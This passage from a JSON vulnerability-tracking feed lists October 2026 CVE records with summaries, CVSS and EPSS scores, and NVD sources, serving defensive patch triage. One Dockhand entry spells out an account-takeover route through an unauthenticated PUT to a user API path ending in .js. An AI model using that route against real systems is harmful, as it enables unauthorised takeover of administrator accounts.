fixes.","publishedAt":"2026-10-13T19:19:53.390Z","updatedAt":"2026-10-16T16:21:02.470Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-75120","asOf":"2026-10-16T16:21:02.470Z"},"epss":{"probability":0.00412,"percentile":0.35185,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-75120&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-75120","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75120","type":"primary","publishedAt":"2026-10-13T19:19:53.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-75120&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-75120, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70279","cveId":"CVE-2026-70279","aliases":[],"kind":"vulnerability","title":"Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Exchange Server allows an unauthorized attacker to perform spoofing over a...","summary":"Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Exchange Server allows an unauthorized attacker to perform spoofing over a network.","detail":"Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Exchange Server allows an unauthorized attacker to perform spoofing over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:47.373Z","updatedAt":"2026-10-13T23:18:06.873Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Exchange"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70279","asOf":"2026-10-13T23:18:06.873Z"},"epss":{"probability":0.01286,"percentile":0.69939,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70279&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70279","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70279","type":"primary","publishedAt":"2026-10-13T19:19:47.373Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70279&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70279, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70188","cveId":"CVE-2026-70188","aliases":[],"kind":"vulnerability","title":"Inconsistent interpretation of http requests ('http request/response smuggling') in ASP.NET Core allows an unauthorized attacker to bypass a security feature over a network.","summary":"Inconsistent interpretation of http requests ('http request/response smuggling') in ASP.NET Core allows an unauthorized attacker to bypass a security feature over a network.","detail":"Inconsistent interpretation of http requests ('http request/response smuggling') in ASP.NET Core allows an unauthorized attacker to bypass a security feature over a network.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:33.130Z","updatedAt":"2026-10-14T04:18:33.003Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70188","asOf":"2026-10-14T04:18:33.003Z"},"epss":{"probability":0.00938,"percentile":0.6063,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70188&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70188","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70188","type":"primary","publishedAt":"2026-10-13T19:19:33.130Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70188&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70188, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70157","cveId":"CVE-2026-70157","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows System Information Console allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows System Information Console allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows System Information Console allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:29.030Z","updatedAt":"2026-10-16T16:20:38.667Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70157","asOf":"2026-10-16T16:20:38.667Z"},"epss":{"probability":0.01084,"percentile":0.64999,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70157&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70157","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70157","type":"primary","publishedAt":"2026-10-13T19:19:29.030Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70157&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70157, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70153","cveId":"CVE-2026-70153","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:28.537Z","updatedAt":"2026-10-16T16:20:38.200Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70153","asOf":"2026-10-16T16:20:38.200Z"},"epss":{"probability":0.01094,"percentile":0.65277,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70153&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70153","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70153","type":"primary","publishedAt":"2026-10-13T19:19:28.537Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70153&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70153, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70147","cveId":"CVE-2026-70147","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft PostScript Printer Driver allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:27.683Z","updatedAt":"2026-10-16T16:20:37.360Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70147","asOf":"2026-10-16T16:20:37.360Z"},"epss":{"probability":0.01094,"percentile":0.65278,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70147&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70147","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70147","type":"primary","publishedAt":"2026-10-13T19:19:27.683Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70147&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70147, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-70096","cveId":"CVE-2026-70096","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Rich Text Edit Control allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Rich Text Edit Control allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Rich Text Edit Control allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:21.420Z","updatedAt":"2026-10-16T16:20:31.387Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-70096","asOf":"2026-10-16T16:20:31.387Z"},"epss":{"probability":0.01086,"percentile":0.65028,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-70096&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-70096","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-70096","type":"primary","publishedAt":"2026-10-13T19:19:21.420Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-70096&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-70096, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69705","cveId":"CVE-2026-69705","aliases":[],"kind":"vulnerability","title":"Out-of-bounds write in Windows iSCSI allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds write in Windows iSCSI allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds write in Windows iSCSI allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:57.820Z","updatedAt":"2026-10-16T16:20:04.003Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69705","asOf":"2026-10-16T16:20:04.003Z"},"epss":{"probability":0.0097,"percentile":0.61644,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69705&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69705","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69705","type":"primary","publishedAt":"2026-10-13T19:18:57.820Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69705&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69705, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110130","cveId":"CVE-2026-110130","aliases":[],"kind":"vulnerability","title":"Dockhand before 1.0.45 contains an authentication bypass in which the global auth hook skips authentication for any path ending in a static-asset extension such as .js, including...","summary":"Dockhand before 1.0.45 contains an authentication bypass in which the global auth hook skips authentication for any path ending in a static-asset extension such as .js, including /api/* routes, and the user-mutation handlers fail open for unauthenticated callers. Unauthenticated remote attackers can send a PUT request to /api/users/<id>.js to reset the admin's or any user's password and take over the account.","detail":"Dockhand before 1.0.45 contains an authentication bypass in which the global auth hook skips authentication for any path ending in a static-asset extension such as .js, including /api/* routes, and the user-mutation handlers fail open for unauthenticated callers. Unauthenticated remote attackers can send a PUT request to /api/users/<id>.js to reset the admin's or any user's password and take over the account.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:43.397Z","updatedAt":"2026-10-14T17:18:23.827Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110130","asOf":"2026-10-14T17:18:23.827Z"},"epss":{"probability":0.00716,"percentile":0.53496,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110130&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110130","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110130","type":"primary","publishedAt":"2026-10-13T19:18:43.397Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110130&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110130, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110112","cveId":"CVE-2026-110112","aliases":[],"kind":"vulnerability","title":"Dockhand before 1.0.50 contains a privilege escalation vulnerability that allows users from another tenant to gain admin access because OIDC iss, aud, nonce and exp claims are not...","summary":"Dockhand before 1.0.50 contains a privilege escalation vulnerability that allows users from another tenant to gain admin access because OIDC iss, aud, nonce and exp claims are not validated. Attackers with admin rights in another tenant of a shared provider like Microsoft Entra ID can recreate the mapped admin group and log in as Dockhand administrators.","detail":"Dockhand before 1.0.50 contains a privilege escalation vulnerability that allows users from another tenant to gain admin access because OIDC iss, aud, nonce and exp claims are not validated. Attackers with admin rights in another tenant of a shared provider like Microsoft Entra ID can recreate the mapped admin group and log in as Dockhand administrators.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:43.257Z","updatedAt":"2026-10-17T02:17:18.083Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110112","asOf":"2026-10-17T02:17:18.083Z"},"epss":{"probability":0.00391,"percentile":0.32953,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110112&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110112","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110112","type":"primary","publishedAt":"2026-10-13T19:18:43.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110112&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110112, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105016","cveId":"CVE-2026-105016","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft QUIC allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft QUIC allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft QUIC allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:57.750Z","updatedAt":"2026-10-22T22:17:52.370Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105016","asOf":"2026-10-22T22:17:52.370Z"},"epss":{"probability":0.01658,"percentile":0.76455,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105016&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105016","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105016","type":"primary","publishedAt":"2026-10-13T19:17:57.750Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105016&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105016, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105008","cveId":"CVE-2026-105008","aliases":[],"kind":"vulnerability","title":"No cwe for this issue in Windows Schannel allows an unauthorized attacker to perform spoofing over a network.","summary":"No cwe for this issue in Windows Schannel allows an unauthorized attacker to perform spoofing over a network.","detail":"No cwe for this issue in Windows Schannel allows an unauthorized attacker to perform spoofing over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:57.093Z","updatedAt":"2026-10-16T17:17:22.427Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105008","asOf":"2026-10-16T17:17:22.427Z"},"epss":{"probability":0.00679,"percentile":0.52067,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105008&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105008","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105008","type":"primary","publishedAt":"2026-10-13T19:17:57.093Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105008&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105008, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104584","cveId":"CVE-2026-104584","aliases":[],"kind":"vulnerability","title":"reNgine up to v2.2.0 and current master branch (commit de4199222cca5618f1255930ce78987e47d43a99) is vulnerable to OS Command Injection via the custom_headers scan engine...","summary":"reNgine up to v2.2.0 and current master branch (commit de4199222cca5618f1255930ce78987e47d43a99) is vulnerable to OS Command Injection via the custom_headers scan engine configuration field in web/reNgine/tasks.py (fetch_url and dir_file_fuzz functions).","detail":"reNgine up to v2.2.0 and current master branch (commit de4199222cca5618f1255930ce78987e47d43a99) is vulnerable to OS Command Injection via the custom_headers scan engine configuration field in web/reNgine/tasks.py (fetch_url and dir_file_fuzz functions).\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 